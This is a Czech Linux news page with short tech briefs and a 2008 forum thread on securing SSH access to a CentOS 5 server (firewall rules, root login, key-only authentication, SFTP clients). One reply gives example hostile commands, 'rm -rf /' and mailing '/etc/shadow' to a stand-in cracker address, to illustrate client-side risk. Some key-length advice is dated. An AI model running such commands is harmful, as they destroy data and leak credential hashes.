V nedávno zveřejněné kolekci dokumentů souvisejících s kontroverzním finančníkem a kuplířem Jeffrey Epsteinem se překvapivě objevil i referenční manuál unixového shellu Bash, jedná se o verzi manuálu z roku 2005. Aktuální vydání si lze stáhnout ze stránek GNU.
The Document Foundation oznámila vydání nové verze 26.2 svobodného kancelářského balíku LibreOffice. Podrobný přehled nových vlastností i s náhledy v poznámkách k vydání (cs). Vypíchnout lze podporu formátu Markdown.
Co se děje ve zprávách, ví asi každý - válka sem, clo tam, demonstrace na jednu i druhou stranu a bastlíř už má pocit, že se snad ani nic jiného neděje. To by však byl velký omyl a Virtuální Bastlírna je zde jako každý měsíc, aby vytáhla na světlo světa události ze světa vědy a techniky. Připojte se tedy nezávaznému povídání Strahovského MacGyvera! Co se tam bude probírat? PCBWay začalo dělat průhledné plošňáky, MARS končí s výrobou skříněk, FEL
… více »Guvernérka státu New York Kathy Hochul (Demokraté) plánuje novou legislativu, která by měla omezit výrobu 3D tištěných zbraní. Tento návrh zákona zavádí povinnost pro všechny 3D tiskárny prodávané ve státě New York obsahovat 'software' bránící ve výrobě zbraní. Návrh zákona rovněž zakazuje lidem sdílet 'digitální plány zbraní' (blueprinty) bez povolení. Existují důvodné obavy, že se tento nešťastný nápad může šířit do dalších zemí a ovlivnit celý 3D tisk jako takový. Ostatně, s podobnou regulací nedávno přišel i stát Washington.
Na čem pracují vývojáři webového prohlížeče Ladybird (GitHub)? Byl publikován přehled vývoje za prosinec 2025 a leden 2026 (YouTube). Zajímavé, že i v roce 2026 celou řadu problémů vyřeší falšování řetězce User-Agent.
Bylo rozhodnuto, že Linux From Scratch (LFS) končí s podporou System V init. Nové verze knih s návody na instalaci vlastního linuxového systému ze zdrojových kódů už budou pouze se systemd.
Byla vydána nová verze 2026.1.0 "Like a Version" svobodného softwaru ScummVM (Wikipedie) umožňujícího bezproblémový běh mnoha klasických adventur na zařízeních, pro které nebyly nikdy určeny. Přehled novinek v poznámkách k vydání a na GitHubu. Změněno bylo číslování verzí. Předchozí verze byla 2.9.1.
Internetový prohlížeč Firefox bude mít nové ovládací prvky pro umělou inteligenci, které umožní uživatelům vypnout vestavěné AI funkce přímo v nastavení prohlížeče. Jednotlivě půjde vypnout nebo zapnout automatické překlady stránek, generovaní popisného textu k obrázkům v otevřených PDF dokumentech, samoorganizaci tabů do skupin, náhledy odkazů s krátkým shrnutím a boční panel s chatbotem. Tyto možnosti v nastavení prohlížeče
… více »Desktopové prostředí KDE Plasma 6.6, která je právě ve fázi beta, nahrazuje stávající SDDM novým Plasma Login Managerem, který je ale pevně navázán na systemd. Plasma Login Manager využívá systemd-logind a další součásti systemd, které nejsou dostupné v operačních systémech bez systemd, jako je například FreeBSD, případně jsou linuxové distribuce Gentoo, Void Linux anebo Alpine Linux. Pro uživatele zatím stále ještě existuje možnost používat SDDM.
Na webu komunitního setkání CSNOG 2026 jsou dostupné prezentace v PDF, jejich videozáznamy a fotografie z lednové akce ve Zlíně. CSNOG 2026 se zúčastnilo téměř 300 zájemců o vystoupení věnovaných správě sítí, legislativním a regulačním tématům nebo projektům z akademické sféry. Letos byly prezentace rozdělené do dvou treků, ve kterých se představilo 35 přednášejících. Setkání komunity CSNOG organizují společně sdružení CESNET, CZ.NIC a NIX.CZ.
AbcLinuxu.cz
ITBiz.cz
HDmag.cz
AbcPráce.cz
authorized_keys.
AllowUsers root a tím pádem nemusím uživatelům, u kterých nechci ssh přístup nastavovat prázdnou shell. Dále jsem tam změnil port na 12345. Iptables by v defaultní konfiguraci (CentOS 5) měl zahazovat vše u čeho nemá výjimku, takže jsem pomocí setup vypnul díru pro SSH a potom zkontroloval patřičný soubor /etc/sysconfig/iptables jestli je to správně uložené. Potom jsem pomocí iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --destination-port 12345 -j ACCEPT vytvořil díru.
No kdyby to fungovalo, tak bych sem nepsal. Problém je v tom, že firewall propouští naprosto vše. Spuštěný by být měl.
Dále jsem tam změnil port na 12345
Smysl tohoto opatření mi poněkud uniká, ale na toto téma se tu flamovalo už tolikrát a tak intenzivně, že než začnete protestovat, najděte si některou z těch starších diskusí.
ak sa bavime o bezpecnosti, tak moznost povolit root cez ssh by som IMHO vylucil ako prvu vec
A proč to? Protože se to dělá?
sshd démonem, takže tím omezíte útočníkovi prostředky i v případě, že by se snažil napadnout sshd démona samotného (a obejít tak autorizaci klíčem/heslem). Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud. Pokud máte celkem snadný fyzický přístup k počítači, problém to být nemusí. Pokud je ale ten přístup k hardwaru složitý, neriskoval bych, že z nějakého důvodu nebudu schopen se k serveru připojit z určené IP adresy a tudíž nebudu schopen se serverem dělat nic.
Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud.
Nebo jestli se ta adresa nezmění a nedozvíte se o tom na poslední chvíli (nebo dokonce až potom). I to už jsem bohužel zažil…
Použití klíče mám určitě v plánu nasadit, ale vzhledem k tomu, že mě honí čas tak to na dobu neurčitou udělám zatím tak.
Ono to není zase tak složité. Základní princip je ten, že na straně klienta vygenerujete pomocí ssh-keygen pár klíčů (např. 'ssh-keygen -t dsa -b 1024') a veřejný (v tomto případě ~/.ssh/id_dsa.pub) pak zkopírujete na server do '~/.ssh/authorized_keys'.
Jak byste ohodnotili "mnou navržený" systém zabezpečení (změna portu, přístup pouze z jedné IP, netriviální heslo) známkou jako ve škole co se bezpečnost týče?
Známkování snad raději ne, spíš slovní hodnocení. Změna portu: k ničemu. Omezení na jednu IP: bezesporu užitečné, ale důkladně bych si rozmyslel možné důsledky. Netriviální heslo: nezbytné.
Co vy osobně považujete za netriviální heslo - příklad?
Tady hodně záleží na tom, co tím heslem chráníte. Pro roota na počítači s možností autentizace heslem přes ssh bych asi použil výstup 'pwgen 12' nebo 'pwgen -s 8'
AllowUsers root) a potom tedy zakázat přihlašování pomocí hesla a povolit přihlášení pouze pomocí klíče. Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Ve zkratce tedy - jak nastavit, aby se bylo možné přihlásit pouze na roota, pouze klíčem a pouze z jedné konkrétní IP (pomocí pravidel u klíčů).
Openssh-server mám ve verzi 4.3p2.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
Díky moc za rady
P.S.: Jak moc je tohle bezpečné? Vy ve mě pěstujete pěknou paranoiu :D
a potom tedy zakázat přihlašování pomocí hesla
pro roota 'PermitRootLogin without-password', obecně
'PasswordAuthentication no'.
Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Na začátek řádku s klíčem přidejte klauzuli from, např.
from="1.2.3.4" ssh-dss AAAAB3NzaC1kc3MAAA...
Blíže viz sshd(8), sekce AUTHORIZED_KEYS FILE FORMAT.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
RSA2 a DSA vyjdou AFAIK nastejno, hlavně ať to není RSA1. Délka pro běžné použití IMHO postačí 1024 bitů.
kde jsem náhodou zahlédl, že autoři důrazně nedoporučují NEpoužívat DSS klíč (dál jsem nečetl proč)
Právě to "proč" bývá v podobných důvodech důležitější než sama informace, že to nedoporučují…
Jak jsem četl dál vaši diskusi, tak mě zaujala zmíňka o HW klíčích. Už jsem něco takového někde viděl, ale můžete mi dát nějaký odkaz na nějaké dobré řešení vhodné právě pro tento účel?
Mám v plánu zkusit některý z USB tokenů od iKey. Praktické zkušenosti s nimi zatím nemám, ale našel jsem článek, podle kterého by měly v Linuxu fungovat hladce.
http://www.chiark.greenend.org.uk/~sgtatham/putty/faq.html#faq-dsa
Díky za info na ten token.
IMHO v tom není rozdíl, protože je to klasické SSH spojení akorát s tím rozdílem, že tohle se zaměřuje pouze na práci se soubory.Ono je to přímo klasické
ssh, jenom je sshd nakonfigurováno tak, aby tyhle příkazy předával ke zpracování nějakému dalšímu programu. Takže implementace té ssh části je ve vašem případě OpenSSH.
Nicméně předpokládám, že pro běžnou práci (uploadování a úpravy produkčních dat) doporučujete vytvořit uživatele s právy pouze pro tyto data, že? ;)Ano. Zvlášť jestli to má být pro někoho dalšího – asi by nebylo dobré nechat běžné uživatele editovat třeba
/etc/passwd, /etc/shadow atd.
uživatel co chce užít služeb SFTP musí být v /etc/sshd_config připsaný v AllowUsers a musí mít validní shellNemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nejznámější je asi scponly.
rm -rf /, shutdown -h now, sendmail cracker@example.com < /etc/shadow apod. A to „omylem“ udělá jen těžko. Protože nemá WinSCP veřejné zdrojové kódy, nedá se mu samozřejmě věřit tolik jako PuTTY, ale nepovažoval bych ho za nebezpečný. Rozhodně je daleko pravděpodobnější, že si ty soubory smažete nějakým omylem sám… Jinak pokud byste trval na PuTTY a nevadil by vám příkazový řádek, i PuTTY má klienta pro SFTP.
BTW neměl bych na tenhle dotaz založit raději nové vlákno?Raději ne, protože to by byl dotaz na program čistě pro Windows, a to by nemuselo projít
...a pokud vám na datech na klientovi záležíNechtěl jste místo klient napsat server? Takže pokud to shrneme, je to podle vás bezpečná cesta i pro přihlášení pod rootem? WinSCP otevřené kódy má... BTW - Co se dá zkazit příkazem
shutdown -h now? :D
Nechtěl jste místo klient napsat server?Nechtěl. Měl jsem na mysli útok, kdy jedna komunikující strana zneužije nějaké díry v programu a ovládne jej a získá tak možnost spouštět s právy uživatele, který spustil program. A protože jste se ptal na klienta WinSCP, znamenalo by to, že by útočník přes sshd server zneužil případnou chybu ve WinSCP a získal tak kontrolu nad klientským počítačem. Ovšem pokud se s tím WinSCP chcete připojovat jen na vlastní server, měl byste v takovém případě starosti spíš s útočníkem na serveru, než s tím, že se vám snaží ještě přes WinSCP ovládnout klientský počítač. Jinak to celé bylo myšleno spíš žertem. Ale třeba u webu už tenhle princip (kdy je potřeba chránit hlavně server) neplatí, tam musí proti útoku druhé strany být odolný nejen server, ale i prohlížeč. Ale to už je zcela mimo téma.
WinSCP otevřené kódy má...No jo, GPL… Jak jsem přišel na to, že WinSCP patří k těm programům, jejich autor nepovažuje zveřejnění zdrojáků za přínos projektu? Podle Wikipedie byly zdrojáky pod GPL zveřejněny v roce 2003, tak že bych si pamatoval něco z předchozí doby?
Co se dá zkazit příkazem shutdown -h now?Je to celkem dobrý DoS útok – počítač pak přestane poskytovat služby, které by poskytovat měl. Sice to není takový průšvih, jako kdyby vám někdo něco cracknul nebo získal přístup k něčemu, k čemu přístup mít nemá, ale problém je to taky.
Tím mám namysli třeba nějaké mezery v implementaci zabezpečení či samotného přihlašování pomocí klíče, které by nemuselo být tak robustní, jako má PuTTY.Jedině že by WinSCP vyzradil heslo k privátnímu klíči nebo klíč samotný. Jinak „síla“ šifrování nezávisí na klientovi, ta je určená použitým protokolem.
Může být nějaký problém v tom, že vlastníkem souborů, které se budou veřejně přístupné pomocí http, bude root?Web server musí ty soubory vidět, tj. buď musí být pro čtení všem nebo pro skupinu, ve které musí být i uživatel, pod kterým běží server. Jinak pokud to nejsou spustitelné soubory s nastaveným
suid bitem, ničemu nevadí, že je vlastní root.
Jinak to je hodně zajímavý DoS útok, prostě se vypne stroj a oběť má utrum :DPo fyzické likvidaci serveru je to hned druhý nejúčinnější způsob
/home/COMPANY , ssh > 1024 bezi sshd klasicky .. -o povolenie jedinej IPcky na ssh: firewall/tcp wrappers (pripadne oboje) -o root nepovolovat, kym nie je treba: malokedy uzivatel potrebuje vsetky prava,ako ma root -o prihlasovanie pomocou klucov, pripadne silne lokalne heslo ( existuju programy/nastavenia, ktore kontroluju silu hesiel uzivatelov).. a suhlasim s tebou, robit 'bezpecnostne opatrenia' len preto, ze som to niekde pocul, nema zmysel .. otazne je, do akej hlbky clovek chape, ako veci funguju a dokaze sa proti tomu branit .. ja napriklad neviem ako presne funguje sshd (neprogramoval som ho, jeho kody som nikdy nestudoval) a teda neviem, ake (potencionalne) slabe miesta ma .. ale to uz nepatri do tohto prispevku ..
sshd na jiný port, protože na portu 22 už mi běží jiná služba, je sice oprávněné, ale nijak to nesouvisí s původním tématem diskuze. V diskuzi bylo zmíněno přesměrování portu 22 z důvodu (pseudo)zabezpečení, vy ho přesměrováváte kvůli charakteru TCP/IP komunikace, kdy na jednom páru IP adresa:port může naslouchat jen jeden program.
Privátní klíč nemusí být chráněn jenom heslem. Může být uložen na nějakém externím zařízení, které při běžném způsobu používání nevydá privátní klíč, ale jen přijme data k zašifrování a heslo/PIN a vrátí zašifrovaný výsledek.ano, samozrejme je viac variant - ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla.. myslim , ze uz ale nema zmysel dalej toto rozvijat - zbytocne mutit vodu tam, kde netreba .. suhlasim s misovym vyrokom, ze robit na oko zabezpecenie `lebo je to tak spravne` je nezmysel .. autor otazky dostal odpoved na co sa pytal, myslim, ze bude rozmumne to nechat uz tak ..
ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla
Záleží na technickém provedení, ale pokud neuděláte něco postaveného na hlavu, určitě nebude méně bezpečná a téměř jistě bude bezpečnější.
presmerovanie ssh na iny port moze byt dobra vec, ak napriklad na ssh:22 bezi sshd, ktore je chroot-nute len napriklad pre uzivatelov COMPANY v /home/COMPANY , ssh > 1024 bezi sshd klasicky ..
Což je ale něco úplně jiného, než o čem tam i tady byla řeč…
napriek tomu tvrdim, ze nechat root uzivatela povoleneho na ssh nie je dobra volba ..
Je hezké, že to tvrdíte, ale pokud nenapíšete proč, neočekávejte, že tomu budu přikládat nějakou váhu.
tak isto ako nebudem trubit do sveta, ake mam logins na serveri
Neměl byste spíš napsat, že to nebudete vědomě rozhlašovat? :-)
13.3.2008 13:32
MMMMMMMMM | skóre: 44
| blog: unstable
| Valašsko :-)
AllowUsers, pro vyjmenování kdo se odkud může hlásit. Na tohle by to šlo taky použít, i když předchozí rady jsou k tomu vhodnější.
Tiskni
Sdílej:
